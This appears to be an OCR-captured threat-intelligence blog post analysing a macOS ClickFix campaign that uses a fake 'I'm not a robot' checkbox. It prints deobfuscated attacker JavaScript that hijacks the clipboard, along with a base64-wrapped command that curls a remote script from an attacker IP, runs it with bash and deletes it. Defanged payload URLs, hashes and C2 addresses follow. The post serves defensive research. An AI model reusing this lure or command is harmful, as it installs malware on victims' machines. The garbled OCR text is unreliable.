(_ex1f311d); Hor(var _@x25b0al=ex0, 0x2191b2=_@x4c74cf[ 'length’];_@x25b@al<_@x2191b2;_0x25b@al++){

decodeURIComponent(_0x2f4837);};_@xlc7a[ 'abXAgV’ ]=_@xc7aeea, @xlc7a[ 'DhzprD’1={},_@xlc7a[ 'ngFlgd"] 5 ox53bcfa[0x0],_ex2le@la= Ox1c773c+_@xff56f1, @x460818=_0x:
[_ex21e@la];return!_@x460818?(_ @xlc7ab3=_exlc7a['abXagV'](_exlc7ab3), exlc7a[ 'DhzprD'][_ex2leela]= @xlc7ab3): @xlc7ab3=_@x460818, @xlc7ab3;}function _ox53bc(){var _ex185309

["A2Lrr3u’, 'yxvesLO', 'pc9ZCgfUpIasy]5dB21TywSKpc9IpLlaRidXZCgfUignSyxnZpsjMA3IIIwTIzci+rxniywnPBZWVC3bHBIAGCETYysbHYNFPCIbtCgo@BELNARQU" , ' zxHLy@nVBWIHBMG " , "W5XIzxWCSo8ZNvUZ3nZy2!
,"s3vevhm', " ChjLDMvUDerLzMf1Bhq", ' z2v@" , *A2v5" , " cIaGicalzMTYyY1VDMvYBgf5ihskicaGicaGCg9ZAxrPB2461gzPEgvKicFPBxbVCNrHBNG7 cIaGicaGigXL zNg61idaGiwl TCg9YDgfUDdSkicaGicaGDg9IWolalicfPBy
aLicfPBxbVCNrHBNG7cIa6icaGigHLAWDODAOGMt alj saHAWIWB3j@ywS5 80061 caGicbIywnRz3jVDWSKoIbYz 2 Hkd11nsWemJulleaYntuSidaUnZuPicfPBxbVCNrHBNG7 c IaGicaGigjHy2 TKCMOWIwzPBhrL CI0GyMX1CIGAChGH
AxqTyMFIA2rYB3aTzMLSDgvYoIbIBhvYkdHWECKGiwL TCg9YDgFUDASki caGicaGEI1PBMrLEdOGM] e@nZgdmZyenYaHAW1WE 3j@ywS8oW0Gi caGicbKAXnWBg f50IbMBEV4i c FPBXbVCNPrHBNG7 c1aGicaGigP1C3rPzNKTy29UDgVUD
26 gFSAWDULWLOZW1Z0Tb] zw50zxiGiwl TCg9YDg fUDdSkicaGihekicaGigjVzhKUzMTYyY1UBY1Zy33VBEWGEWOG caGichbVDMyYZMXVDZOGAELKZgvUicfPBXbVCNFHBNG 7 c TaGich9cIa6” , 'BgvUz3r0’ , ' C2vIDxjPDhL tDWj0AX
Xvz2@', ' vhLWzsaIpgi+vgvYBuLUywW8121i+iIbHBMGECh]LC3mGphnkywaGy2XHC3m9 iMzRCMNTA23Kid4 ", "ngzmegvesG” , 'y2XPy2TLza" , t2jZzxj2yx1d0sbSigfIzxbeyx1dOt0" , 'y2HLy2TIB3G" , "wuvovlK', "y2Xvc2vy
VBG", 'wK9jwLG ", 'mNWXFdr8mhW1Fdm" , BgoJyxrPB24", "nxb4’, ' jYaMjIaOy2qGl3rTCcaMjIbIDxjSiclRzNnttcal” , " vMIIWE0GBS0IBYbIB21WBEveB3uGysb2zxjPzMLIyCONWENV ', "EfzTsMe" , ' tMBGC295ihvUihjVyMd
Yzunbufrdsee6’, 'CwPtD3i’, 'r1z@BvO’, 50Ir5zsusl+c5QMFSQKWS1Q6” , * pcIWpGOGicaGicaGicaGica8CcbIBgFZCZOIzMTYyY1IAgvIA2 VEC1Kzxn]igzRCMMTBS 1WigzRCMmTBgLUZS1UB3j TywGBgfUzYe' , "EwPorfG ' )
1QoQZHoULVa ", iTbIBgfZCZOIzMTYyY1ZCgLUBMVYigzRCMmTBS1WigzRCMMTBELUZS1UB3] TywhIigfSDdOTi IbPzd@IzMTYyY1ZCgLUBMVYiTaVpGOGicaGicaGicaGica8l2rPD]4kicaGicaGica812rPDI4kicaGicaGicasCeb:
DcbMA337 1wBTCcbMA3j 1 1wXPBMuTBMIYBwfSigXHBMCT ', " q1zuABC ', 'y2fWDgnOyv9ZAgI3BG" , "Bej2quy’ , ' AwSUzxjxAwr@Aa ' , ' 50Ir51In5PIVSPY652M051061icO6CHvdqvbugBHbioMQIoIVGsbjro+8MG" , 'uMnYyNC ', 'u
8GChjVy2vlzca', 'mNvzr2z1Ca', "EePAzMA’, " tM55thO” , *CMvdqvbugBHb ', 'y3jLyxrLruXLBwvUDa' , ' q29UDgvUDCc1uExbL" , 'CMvWBgTIzq" , 'uevyBum' , "tBvPsMK® , ' 6AQmEk+b5Q2L6AQK" , "icyMigjHC26E" , " pc9ZCy:
UignSyxnZpsjMA3jI1wTIzci+2yxySIIN2yhyQtWVC3bHBI4G2ytzGDIQ2kBG2kIyRDIR fiWB3rSAWDODCA " , " 12nVBgXLy3q' , ' Cxbos@y ', 'uLP1A@®" , ' iIbHBhq9iliGy2XHC3m9iMzRCMmTDMyYAwz5D2LULXDPBM-VDY1HCNGVD)
MrVDY1HCN;VDYiVpGOGicaGpcIKAxy+cGOGia' , ' pc9ZCgfUpLadyI5dB21TywSKpc9IIpLlaRidXZCgfUignSyxnZpsjMA3j]1wT Izci+tgyLCNPHC3rLpc9ZCg FUpIWGDWOGZ gL LifnllB3rSAWDODC 1t Dwn0zsb6DsddTMMBMVULG
thxK", 'odaYotydvlzyrxnh', 'yvuMreS', ' z2vBruXLBwvUDej5suq’ , ' SQMFSQkWS1Q651+D6k23" , ' AKjUzui" , ' 54k55y E76AQm6k+b50Yj62kUSTUNSTUTAAcc ", ' DMLZAWjPBELOEVNByxrL ', * zgfOytPPBufNzsINAwy 7yMFZ
1bQncTp13y312iYoxzmEtHVDuXPohzmEtLmuZbXt2PVn3e2DxnqrhCZsNL IDhPIm@DECMe1t1rR11qWovb2nYS3uZblsudez ZnnMvWEWnUs3vYCtjwBfPLvgS1tBHONgVQBZzqnYSVDNOA11aV1Y8YtMP zk3jXnNyV1Y95scIdmdvgvK]
bz1jhrIbzvMHovur312vigMHzmNrSzencAvPxzhbIAJbPNZD118LPgNbArdbPYNPutK1 fmxDrml zVyvwOnMnTuL rLAZvvit nWCLL6BETjAJGRsurdneUAhrI rZfS zeDfz2vhmxnIBKO2zugWAvL xuNz zBvu2yM5nnMjxvIbzuZHP suHN;
giZsMXjrfultMKXAKLurxHj rgmltgPfmudetxlou3DNtuPbEe5tohDpuzHa tumkDO1uB3Hnrgd5tunbz@LdqwDjqe fNsw0ez1bisMTAANbtuKvzz2vhmxnIBK82y21sBybt sMOK sfj3t2KADMgZzdnmBMn6tgd5EvPSohHpvgS1thPbEuX
QngDqsePRWMPWrvPy tMP JBuX3zeDSDMjPNLAr1K 2uvDkDMry ut LjAuLNzuCXC2jUt tzL rZf3ufnkB2riuNDpAtH2yM5nDvL xulzzBvv 1wt i5DeWZAgHIqZHAt gPbDKLPGI rIv3H1y3PhngjyqkSuvdbPyuHsmgneB3zmmIv6tglgA2iYs
wDLrZfZyM5nnMnZuL nAv1K5 swlOmgriqtzmEtL 1y3K1AFPhowl AuZvQyJiNDMvhrNDmEKv1 tumSEL ziBhDAuZL twLHoDMry sMPAVKPSWMLnAuLiAhr I rhbey21wAgrhoxLurZL 2yKqWAvFxulz zBvvNyuDODMrhoxPHrZL3suvoreLesxl)
Irtfot2TSDumZuMHIBUSSulvroul UAhrIqZvilyvDrnKSuzejovul SuwPnEe5fsKznvezgtMTkruluAZrnrfPhuwPArelvtxHnAK FPsuHODgnfmu5pA1j 2wtnwDfPxntbtvveSsw50DgndnwTHv1e2t 1rKqKSvsxLrAL F4tKvkrK1urkzol
uedzuCXD1rvmdzsr1z5yvHABFPFuNL InJbNyZnsulPxwtzHvZv6zeDgDvKYvKPsrdbPzuCXDBXTBhbArg81t Ibfmy fQsKnnveulluwTvEelvvtjrAlfAt1rNDBSRWKnoABL duxP FEuldswDImljtwlDznl PhowPKvZ FSyMSssLjemgLLrZ{]
AtvvwmL fRuxHpvgD3tMTAGO5R txHrEKVS tunjDLbPqtHmmOPRwMPWrvPy tMPIBWX 32z eDSDMjQngDqqZ L 5ukDznL vRuKDgAuedtdnNnMyhmxDIvlyWwyqez1beotrIr@zQyt jumeLhvNvArdbPy2L j11bNs cBYDImAkY9YnsTqzIi5zLrég
@4V ztnKEMiYDg5zmtLIvIfoufmhzerqENmZtxKACKPS tuzhEgnurhDZsef 2nZy5DKX1nNvIAtn@CLCWCZD1EhN 1 k3vYyxLYCxFTB3a2ywXWs@9PB2FdzM5kmMn Tnx FABUPLv2XAu1rRCeDrAIq2 tMPIDuTPunl iAg9xruC@s@jNsdkRzL
WCgFhzglAv1jQuwlgz1GXnuryrNrHylz0wfzSvLvvmuPsvuuStirvEeXtA2XjulbArLjFtknrvueVugOWoed6BZ vprgmYtLrrEK1QrxDmEtrétenZCuTtz25kAvyRsxL jAeL cogviuNDIr2HRwuz4wvzggk1tryjbuerimeldD29kqe I
ufbrelbtubbuufylZrdzu9Ar21LyuTXDwipDsTIq3PqzeCZzMvln3zMtZLeqKLcBLndD2fenwfpy3nSCOIWL1fXteTcD1bPDVDcDevzt3G2DIHAL feWB3vTocomglngthrUruketgDIrenbrusoAk fbvezckZzfswvhmxrIseShuk fbqM
rruzRrtHuruP3BetkyvHywxfRCxPNr1nHgKT fEhvmCdzOre FXEtvxqMotCeiWuly3v291thjgzZuRz@ juCen@AdrbEhrdyMzAquXozeHoutvYuliYD1FYmZHitK1SmNmSEM1IqMINrgvmwwBR zNzqz 3PXtKj2wuH1n3CRvgnzCOj ImMHI
tHiufnunelVmHXB2D3BfbNCtrpqLnsy1PbBKnVAlzprii3nemVEfHItuk2AgGWD2XKD3Hbmx jhrejtDIyZCMO4suDczNPbofLHtLPRngTeyLrasuXKEL LuwufLgZbsz2fng2HbsuDiAvvesvD1AdDoDInhCfuSuvLYrIzgwKTfq3LHne
4k3bSEFfiq2DdqKDeseidmJjhqMD3z@1UDLDSE gLl gqvmnZCoXdrxrLAB9eC1LOA2fbsdzKyZrhqlDnBvnizerkvZ jSEMX6CVDVmLGRuezug2Dks 2XonY SRwevkre jKwI9kB3D1nxbxAefbnIbouwl gvLLhvwHZzt jKz2z2wwTeAKF1vtzry
21hB2zRu3nL 121WD] fku@LpDgIKBMI6mT2zjuNngzsTqAKzCONPvyBuwrMEML jquflzxPnofLckeelqvnbyY8savxHKmleZ EuH3sunQsMzbuhL JgNHeotbTumD3q@qRzevbze fXnujfa@DhCLPbuuDtk2fnvePlvi9squz5skOYAhDyvt
fqufhoenjmeDCEML3wuvLDwzuy@fKmePLngHABOHxvuzZD3rKuw jUMMPguK TruMXqyID1 EvfrqvbbtwFAWI FNDfvfquzcBMDrnxbeD3HPBMSUs FrdCunhwufduk fruuvtveXcquHawtaWtuf frudsqufrsuPisefcBuHwEWS4rue3ATHC
ePbawl kCuTZtuDererRqtzSCOyVrgPUgNbhywXZr25XouTjrtrlt1jzA0Tbqul 3wuL baK j6q1fbuuvarLbZqufcA3DIsufdrwv3nxDAsMroDK fsyLviCudNvcobquaeDdbNrezHgL LHuuDRuhntAxjNulfLstriyuvivefludzts2rvsx
WrvG3A1LWD2 FXmw1ugKDYCWDLC213CFG1D1LRmTY tMPUsePRmLbj suD@sJz4quXZowjdzvnlutbuuunRyuu@relimfaVyv22z32W1qKKWB@1hs@TOtuedDC TxrKnatMzzqvL lvelTueHYuInzndniDePOrhPuuunfABVKEMC3AVHOrNUZg
NzvueDvCMDZDZHszLzpmtf dmujetwT gotjkAdGS5231222nkt@0YnI9UwuL bBEZQUUHQWMOYntbdmnA4queaufFOANPQZzhCZ CvvwuuaYvIzRzKrNtufXChrrEInzt1a@nemXtKnzBMDoquDoE JGRVWSNGZnglZyWnNDFDZe2q2L RvfPIBes
TuLfRtZDemhfPDZDQve5M12PmqNzdBevhm3GuyK FbEL FUBeX1vL LkD1nPBdjgakiZuwoiuhPpsMnhngXKAMIHt L YmZn] zdrmtxzct1PeDuv2BdzQuuedvyvsrefuCIDozurdDeviAKr3vxviANbAL Z rmMvkruSXCFnlD2zRn2K2DYToq
ulgA@rbaueRmezNB1DjweLy relwsZDowvKRBuDQt 13 LviDbshmS EMKXBu TRwK15q220EhLNqu9ir DVt r6s@vpzdHQreH2CNDOme fFingL cwuT FuwvQs 2Xnuxn c gxvUEgHby 893 EvuXrNHFDETyAgDzm3 2xswHQuuvVBhbntaL tq2HKqL
RC1nKmfvZsJjhq2PpDMLwwhj6uKratyLzyw@2B3fZrtnerNzACuHugKjysxzel1Dusus2zxbjsgGZquipEhfttelHt fr3svGYwvvREwzduL vAAefcsMv6ugDVEUPrqK8HuuLeChz1CRWXCuPoDID6BOTbg3viABlouencqNrsthryukzky
unxu@jQkY9tulzpskLQuejQz3LmylvWulnkDevIDZHvsufmndrSA3uRndbxywTKEETbvKe4tLbBsBGRGLLTERFYStz5CNaYnFKYzdHktKf cr2DTvxOWwFrir2frAujOunTdmxzrrITisxHmDMjACETVrUCBB3nKquusmZzQEe93 refkmud
ND@Nzv29QABGYrgaVrdweXjtkDLmurszxzVDga4vNjrmg5Uvueenk frn fuvCKIKuZvtCelNyNnZz255EK1hrKrVutzPy8rPux03z290y ZHPAMIcmOHr sNrrDv i qzKPSDAKZqL LXuLrpotbpvii NnKHKrfrdnZy4svvIuMT fngeZttr:
efRuMHikofjzZi0uMPIACTNZlvewNfItgjlnfe3AnL VuNiWDByWytvrruTOCN FbBZeVivHesgrLgwfVCxvdCvjlaxjekdzy qMDYC3] sA3r2zhHmmfndnhn IvwPPAuLNN@iVve1rueDKzuDNAhDogtn@AFDwourhrf j1C3rrvNeVzMjHuc
Yul zs0fC4z3HkATfgzgGVsgj TEMIOCNPgwuTsAglLn1LoseXvrc94tILNzwT3rZHytLLWG21kBOj Zrwnms3C3r1Dzy th2ABC 3wMHCAgNqoFrvCZGXux jbofPHD2 bmMDAEfHS ANvezbj g3z TnxDIuMr5rZfXCIDZ gt zZUnuf2vva5sITV

Using Gemini Al for advanced de-obfuscation, we decoded the script’s logic, uncovering a sophisticated multi-stage
attack vector. This automated analysis revealed the hardcoded URL of the payload and specific environment-checking
parameters used to target macOS systems.

Environment Profiling and Fingerprinting

The script first verifies the victim’s operating system, filtering specifically for desktop macOS users and intentionally
excluding mobile devices (iPads/iPhones) even if they report a Macintosh user agent. This ensures that “Spotlight” and
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“Terminal” instructions served later are contextually relevant to the victim’s OS, thereby increasing the success rate of
the social engineering lure.

const userAgent = navigator.userAgent || ''; const isMac = /\bMacintosh\b/i.test(userAgent); const
isMobile = /\b(iPad|iPhone|iPod)\b/i.test(userAgent) || (isMac && navigator.maxTouchPoints > 1); if
('isMac || isMobile) return;

Configuration and Attacker Endpoints

By pulling analyticsUrl dynamically from window, the attacker can rotate its tracking servers without updating the
script itself. The payloadUrl points directly to the secondary-stage malware:

const analyticsUrl = window. analyticsUrl; // Injected by a previous loader script const payloadUrl
= "hxxp://46.226.166[.]57/ce3cbfc887?force=1"; // The payload server. const maliciousCmd =
generateMaliciousCommand(payloadUrl);

Malicious Command Generation

The generateMaliciousCommand function prepares the actual payload. It creates a multi-stage shell command
designed to download and execute a remote script. We break down the step-by-step execution as follows:

. cd /tmp: Moves to a temporary directory to avoid leaving files in user folders.

. curl -kfsSL: Silently downloads the secondary payload from the attacker’s C2 server.

. bash: Executes the downloaded file.

. rm -f: Deletes the script immediately after execution to minimize the forensic footprint.

. Obfuscation: the script wraps the command in a base64 string; when pasted by the user, they see a “Verification
ID” string, but the pipe (]) sends it to bash for decryption and execution.

a b WON -

let shellCmd = “cd /tmp && curl -kfsSL "${remoteUrl}" -o ${randomFile} && bash ${randomFile} && rm -
f ${randomFile}"; let encodedCmd = btoa(unescape(encodeURIComponent(shellCmd))); return “echo 'I am
not a robot - reCAPTCHA Verification ID: ${verificationId}' | base64 -D | bash’;

Clipboard Hijacking Logic

The script intercepts a click on a fake “I’'m not a robot” checkbox. Instead of performing a security check, it silently
replaces the user’s clipboard content with the malicious command. A modal then appears instructing the user to open
Terminal and paste (3 + V) what they believe is a “verification code.” But because the clipboard was just hijacked, the
user unknowingly pastes and runs the malware.

checkbox.addEventListener('click', async (e) => { e.preventDefault(); const maliciousCmd =
generateMaliciousCommand(payloadUrl); await navigator.clipboard.writeText(maliciousCmd); // Hijack
point document.getElementById('instruction-modal').style.display = 'block'; });

Payload Hashes and C2

The payload URL we found embedded in the script, hxxp://46[.1226[.1166[.]157/ce3cbfc8877?force=1 — has the
SHA256 hash 7aal5de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9bad40c9cealdd.

Using VirusTotal and Hybrid Analysis, we identified a second payload server previously hosting the same payloads.
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https://hybrid-analysis.com/sample/7aa15de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18d

Cc 25 https://hybrid-analysis.com/sample/7aa15de93cf85729ddf970e8 f69ece3ca29608f73e784a9ba40c9ceal18d

) A7l e ) Sandbox + B QuickScans ~  (@File Collections I Resources ~ @ Request Info ~

ANALYSIS

We found MITRE ATT&CK™ data in one report, this report has 37 mapped indicators.

Additional Context

(€ ] Related Sandbox Artifacts
hxxp://147.45.42.200 /ce3cbfc887?force=1

Source: Hybrid Analysis

While this older payload server is currently offline, it is important to note that this was the only other server found
serving the same file. Using VirusTotal, we found two additional malware samples distributed by the two servers, as

detailed in the table below:

macOS Malware URL

SHA256

hxxp://147[.]45[.]142[.]200/ce3cbfc8877?
force=1

7aa15de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18d

hxxp://46[.]226[.]166[.]57/ce3cbfc8877?
force=1

7aa15de93c¢f85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18d

hxxp://147[.]45[.]142[.]200/66856ca57ed?
force=1

8ecc7108cd679316bf5900e84f19b256dc399902cdede646493f502ac872cc1a

hxxp://46[.]226[.]166[.]157/66856ca57ed?
force=1

8ecc7108cd679316bf5900e84f19b256dc399902cdede646493f502ac872cc1a

hxxp://147[.]45[.]142[.]200/e97b7f7ccab3a?
force=1

el1ce4e6222396a58d13dddfe64c1dd21f1632bcbe11d1867d44bab4fc646883a

hxxp://46[.]226[.]166][.]57/e97b7{7ccab3a?
force=1

elce4e6222396a58d13dddfe64c1dd21f1632bcbe11d1867d44bab4fc646883a

All payloads eventually establish a C2 connection to 147[.]45[.]42[.]205:8133, clearly visible when the malware is

executed, as seen in VirusTotal.
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https://hybrid-analysis.com/sample/7aa15de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18d
https://www.virustotal.com/gui/file/7aa15de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18d/relations

o Taal5de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9bad0c9cealsd

C' Reanalyze

Taal5de93cf85729ddf970e8d 7897f69ece3ca29608f73e784a%bas0cIcealdd

ce3cbfc887 2.99 KB 12 days

shell detect-debug-environment  long-sleeps  cve-2011-3230  cve-2009-0850  exploit

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an AP| key to automate checks.

Contacted URLs (2) ©

Scanned Detections URL
2026-04-09 /95 http://147.45.42.205:8133/api/t
2026-04-10 /95 http://147.45.42.200/e97b7fTccab3a?force=1

Screenshot of results in VirusTotal

Continuing to Track Drive Surge

Our team will continue tracking and analyzing DriveSurge’s infrastructure for malicious behavior and report new
findings as our research progresses throughout 2026.

If your organization has encountered activity consistent with DriveSurge or has related intelligence to share, we’'d
welcome the opportunity to collaborate.

Get Started in Preemptive Cyber Defense

Interested in learning more about the Silent Push preemptive cyber defense platform?

Connect with one of our platform experts and see how Silent Push can help your team neutralize threats before they
reach your perimeter.

Book a Demo Today,
We also offer a free Community Edition, giving security practitioners and researchers introductory access to the Silent
Push platform and datasets.

Blog

No Place to Hide: Following a Serial Ransomware Affiliate from LockBit, Black Basta, and Qilin to The
Gentlemen

April 22, 2026

News Source
Blog

Post-Sanction Persistence: Triad Nexus' Operations Infrastructure Reborn as Threat Actor Distances Activity
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https://www.virustotal.com/gui/file/7aa15de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18d/relations
https://www.silentpush.com/contact/
https://www.silentpush.com/book-a-demo/
https://explore.silentpush.com/register
https://www.silentpush.com/blog/
https://www.silentpush.com/blog/gentlemen-ransomware/
https://www.silentpush.com/blog/gentlemen-ransomware/
https://www.silentpush.com/blog/gentlemen-ransomware/
https://www.silentpush.com/blog/
https://www.silentpush.com/blog/triad-nexus-funnull-2026/

from FUNNULL CDN

April 14, 2026

News Source
Blog

Silent Push Traffic Origin Data Combined with Residential Proxy Data Uncovers Suspicious Chinese VPN

February 9, 2026

News Source
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